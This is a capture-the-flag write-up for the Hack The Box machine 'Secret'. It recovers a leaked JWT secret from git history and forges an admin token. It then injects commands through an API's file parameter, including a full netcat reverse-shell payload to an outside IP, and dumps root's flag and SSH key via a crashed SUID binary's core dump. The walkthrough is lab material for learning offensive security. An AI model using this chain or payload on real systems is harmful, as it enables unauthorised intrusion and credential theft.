Home Hack The Box Writeup - Secret
Post
Cancel

Hack The Box Writeup - Secret

Port - Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ rustscan -a 10.129.242.109 -- -sC -sV -oN port_scan

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
|   256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    syn-ack Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get back the following result showing that three ports are open:

  • Port 22: OpenSSH 8.2p1
  • Port 80: Website hosted with nginx/1.18.0
  • Port 3000: Website hosted with Node.js

Port 80 & Port 3000

When I looked at the nmap/rustscan output, I quickly noticed that both, port 80 and port 3000, seem to be running the same application (http-title: DUMB Docs). So, the first step is to check out that application and then to find the actual differences between those two web apps (if there are any).

secret.htb/docs

1
This is a API based Authentication system. we are using JWT tokens to make things more secure. to store the user data we are using mongodb, you can find a demo of how the api works in here this is a very secured Authentication system will well done documentation ( sometimes companies hide endpoints ) but our code is public 

Public code?! This sounds fun. Let’s see where we can find it. Ah, it’s located on the bottom of the main page.

We download the zip, unpack it and have access to all the source code. Great!

At the moment, we still don’t know what we are looking for, so let’s continue reading the documentation.

Register User - Endpoint

In order to create a user, we can send a POST request to /api/user/register with json data contianing name, email and password.

However, when sending the request, it always says name is required, even though it is clearly in the request.

1
2
3
└─$ curl -X POST -H 'Content-Type: application/json' -d '{"name":"babbadeckl","email":"babbadeckl@test.com", "password": "123456"}' http://secret.htb:3000/api/user/register/

{"user":"babbadeckl"}

Let’s check the code to understand what is happening.

Snippet of auth.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const router = require('express').Router();
const User = require('../model/user');
const bcrypt = require('bcryptjs')
const jwt = require('jsonwebtoken')
const { registerValidation, loginValidation} = require('../validations')

router.post('/register', async (req, res) => {

    // validation
    const { error } = registerValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    // check if user exists
    const emailExist = await User.findOne({email:req.body.email})
    if (emailExist) return res.status(400).send('Email already Exist')

    // check if user name exist 
    const unameexist = await User.findOne({ name: req.body.name })
    if (unameexist) return res.status(400).send('Name already Exist')

    //hash the password
    const salt = await bcrypt.genSalt(10);
    const hashPaswrod = await bcrypt.hash(req.body.password, salt)


    //create a user 
    const user = new User({
        name: req.body.name,
        email: req.body.email,
        password:hashPaswrod
    });

    try{
        const saveduser = await user.save();
        res.send({ user: user.name})

    }
    catch(err){
        console.log(err)
    }

});

Looking at the code, we see that it simply creates a new user with the provided values. Now we can move on to the next endpoint and try to log in with our newly created user.

Login User - Endpoint

To login, we can use the /api/user/login endpoint. Here, we only have to provide the email and the chosen password in plaintext json.

1
2
└─$ curl -X POST -H 'Content-Type: application/json' -d '{"email":"babbadeckl@test.com", "password": "123456"}' http://secret.htb:3000/api/user/login  
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZTk2ZWM3YjdkMzA0NzY2OTM4N2UiLCJuYW1lIjoiYmFiYmFkZWNrbCIsImVtYWlsIjoiYmFiYmFkZWNrbEB0ZXN0LmNvbSIsImlhdCI6MTYzNjAzNTE3NH0.7m0Eik8FAQQbu8flilv4yQ2Fqlmw1qqbZVtguq8r3rU

As response, we get an authentication token in JWT format. Looking at the JWT with https://jwt.io, we can see that all our provided data is stored in this token. Also it includes a HMACSHA256 signature.

With this Authentication token, we can now try to access the last endpoint

Private - Endpoint

To access the private area, we can send a GET request to /api/priv with the authentication token included as auth-token header. If we are an admin, we should see something interesting.

However, sending the request with the retrieved auth-token results in a disappointing response.

1
2
└─$ curl -X GET -H 'Content-Type: application/json' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZTk2ZWM3YjdkMzA0NzY2OTM4N2UiLCJuYW1lIjoiYmFiYmFkZWNrbCIsImVtYWlsIjoiYmFiYmFkZWNrbEB0ZXN0LmNvbSIsImlhdCI6MTYzNjAzNTE3NH0.7m0Eik8FAQQbu8flilv4yQ2Fqlmw1qqbZVtguq8r3rU' http://secret.htb:3000/api/priv       
{"role":{"role":"you are normal user","desc":"babbadeckl"}}

Sad … we are only a normal user.

Then I took a look at the code and saw that the admin account is identified by the name theadmin (seen in private.js). I then tried to simply register a user with that name. But it failed as the response states that this name already exists.

1
2
└─$ curl -X POST -H 'Content-Type: application/json' -d '{"name":"theadmin","email":"test@test.com", "password": "123456"}' http://secret.htb:3000/api/user/register/
Name already Exist 

Hmm…Let’s take a look at the code again, we must be overlooking something. And indeed! I realized that there is a .git file. So, we downloaded a repository managed by git. Now we can also check the logs to see if there are any leaks. As the final goal is to become admin through a JWT token, my first guess is that we are looking for a private key or some sort of secret. Let’s see how the JWT is created to understand what we are looking for.

Snippet of auth.js

1
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )

Here, we see that we are looking for env.TOKEN_SECRET. However, the current .env file does only contain a dummy value for the actual token.

1
2
3
└─$ cat .env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

Ooopsie! I think someone might have pushed the .env file including the TOKEN_SECRET. Let’s check the previous commits.

1
2
3
4
5
6
7
8
9
10
11
12
└─$ git log .env
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

This confirms our theory! The first commit included the real .env file. The 2nd commit on this file then removed it for security reasons. Now all we have to do is to checkout the previous commit state.

1
2
3
4
5
└─$ git checkout 55fe756a29268f9b4e786ae468952ca4a8df1bd8

└─$ cat .env         
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

There we go!

Next, we simply take the JWT library of our choice to create the JWT (I use PyJWT, a python library).

1
2
3
4
>>> import jwt
>>> jwt.encode({"name": "theadmin"}, "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE", algorithm='HS256')

'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoidGhlYWRtaW4ifQ.1joa1DT--AQrqGX_Xg-kexKUVzaVZVx_anbsgPr7uBw'

Now we use this token to authenticate as admin:

1
2
└─$ curl -X GET -H 'Content-Type: application/json' -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoidGhlYWRtaW4ifQ.1joa1DT--AQrqGX_Xg-kexKUVzaVZVx_anbsgPr7uBw' http://secret.htb:3000/api/priv  
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

And it works! Perfect. Now we can also try to access the logs endpoint.

Initial Foothold

Another, undocumented, API endpoint is available at /api/logs. This endpoint is only accessible by an admin.

Let’s have a short look at the code in order to understand what this endpoint does:

Snippet of private.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

So in addition to the crafted admin JWT, we can also provide a GET parameter called file, which will then be included (without sanitization) in an exec statement. Here we can clearly see that we have RCE.

Here is a short proof that this actually works:

1
2
3
└─$ curl -X GET -H 'Content-Type: application/json' -H 'auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoidGhlYWRtaW4ifQ.1joa1DT--AQrqGX_Xg-kexKUVzaVZVx_anbsgPr7uBw' http://secret.htb:3000/api/logs?file=a%3bid

"id=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n" 

Crafting the payload for the reverse shell:

1
2
3
4
5
Payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 4444 >/tmp/f

URL encoded:
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.19%204444%20%3E%2Ftmp%2Ff

Privilege Escalation

Here, we again check the typical things such as SUID, capabilities, running processes etc.

Let’s start with SUID:

1
2
3
4
5
6
$ find / -perm -u=s -type f 2>/dev/null

/usr/bin/pkexec
/usr/bin/sudo
...
/opt/count  <--- suspicious

Here, we already have a hit. /opt/count is not a file that is typically in this list. Let’s have a look at it.

1
2
3
4
5
6
7
8
dasith@secret:/opt$ ls -la
total 56
drwxr-xr-x  2 root root  4096 Oct  7 10:06 .
drwxr-xr-x 20 root root  4096 Oct  7 15:01 ..
-rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
-rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log

Amazing! We have the full source code for it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}


void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}


int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

Soooo, what does this do? Let’s start with the main function. It first asks the user for a file or directory name that is at max 99 chars long. Afterwards, it executes either dircount or filecount depending on provided path.

filecount(): Opens the provided file and reads the file char by char and line by line to analyse the file on following characteristics: total characters, total words and total lines.

dircount(): Basically does the same but provides different characteristics such as total entries or regular files.

After the analysis is done, the programs asks us of whether we want to save the output in a file.

Here is an example of executing the program analysing the file /root/root.txt.

1
2
3
4
5
6
7
8
9
10
11
12
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: y
Path: /tmp/root.txt
dasith@secret:/opt$ cat /tmp/root.txt 
Total characters = 33
Total words      = 2
Total lines      = 2

The interesting part hereby is that the program drops all privileges once it has read the file. So in theory we can read ANY file on the system but cannot overwrite every file. Further, with prctl(PR_SET_DUMPABLE, 1);, core dumps are created if a crash occurs. Now it should be pretty clear what the goal is: we gonna load the /root/root.txt file, which is stored in the memory and then we crash the program. It’s also rather easy to do that, as we can halt the program when it asks us if we want to save the analysis. In this time, we can open a 2nd shell and simply kill the process. This will result in the creation of a core dump file, which also contains the current state of the memory (which includes the loaded file).

1
2
3
4
5
6
7
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: 

Now we log in a 2nd time (via ssh or the reverse shell), run ps aux and kill the running ./count process.

1
2
3
dasith      3176  0.1  0.1   8276  5060 pts/1    Ss   15:38   0:00 -bash
dasith      3184  0.0  0.0   2488   588 pts/0    S+   15:38   0:00 ./count
dasith      3185  0.0  0.0   8892  3348 pts/1    R+   15:39   0:00 ps aux
1
kill -s SIGQUIT 3184
1
2
3
4
5
6
7
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: Quit (core dumped)

The default location for those crash dumps of the kernel is in /var/crash/

1
2
3
4
5
6
7
dasith@secret:/var/crash$ ls -la
total 88
drwxrwxrwt  2 root   root    4096 Nov  4 15:43 .
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ..
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 28062 Nov  4 15:43 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash

** Apport - In Ubuntu 14.04, it is Apport instead of corekeeper that puts user space crashes there (corekeeper is not installed by default, but available on the repositories). **

According to this thread, apport-unpack can be used to analyse the crash report.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash

dasith@secret:/opt$ cd /tmp/crash/
dasith@secret:/tmp/crash$ ls -la
total 440
drwxrwxr-x  2 dasith dasith   4096 Nov  4 15:56 .
drwxrwxrwt 14 root   root     4096 Nov  4 15:56 ..
-rw-rw-r--  1 dasith dasith      5 Nov  4 15:56 Architecture
-rw-rw-r--  1 dasith dasith 380928 Nov  4 15:56 CoreDump
-rw-rw-r--  1 dasith dasith     24 Nov  4 15:56 Date
-rw-rw-r--  1 dasith dasith     12 Nov  4 15:56 DistroRelease
-rw-rw-r--  1 dasith dasith     10 Nov  4 15:56 ExecutablePath
-rw-rw-r--  1 dasith dasith     10 Nov  4 15:56 ExecutableTimestamp
-rw-rw-r--  1 dasith dasith      1 Nov  4 15:56 _LogindSession
-rw-rw-r--  1 dasith dasith      5 Nov  4 15:56 ProblemType
-rw-rw-r--  1 dasith dasith     10 Nov  4 15:56 ProcCmdline
-rw-rw-r--  1 dasith dasith      4 Nov  4 15:56 ProcCwd
-rw-rw-r--  1 dasith dasith     89 Nov  4 15:56 ProcEnviron
-rw-rw-r--  1 dasith dasith   2144 Nov  4 15:56 ProcMaps
-rw-rw-r--  1 dasith dasith   1335 Nov  4 15:56 ProcStatus
-rw-rw-r--  1 dasith dasith      1 Nov  4 15:56 Signal
-rw-rw-r--  1 dasith dasith     29 Nov  4 15:56 Uname
-rw-rw-r--  1 dasith dasith      3 Nov  4 15:56 UserGroups

Here, we finally have the CoreDump file which should in theory contain our loaded file, as it was still in memory at the time of the crash.

And it does!! Using strings on the CoreDump file reveals the root flag.

Even though we got the root flag, the remaining question is: How do we get root shell access? My first guess was that there could be ssh keys in the root directory. Using the directory-read of the program confirms the guess (there is a .ssh directory). So let’s try that:

1
2
3
4
5
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39

It does exist! So this is our way to root shell. Just repeat the technique that we’ve just used to obtain the private SSH key of root. Once obtained, we can successfully login as root!

This post is licensed under CC BY 4.0 by the author.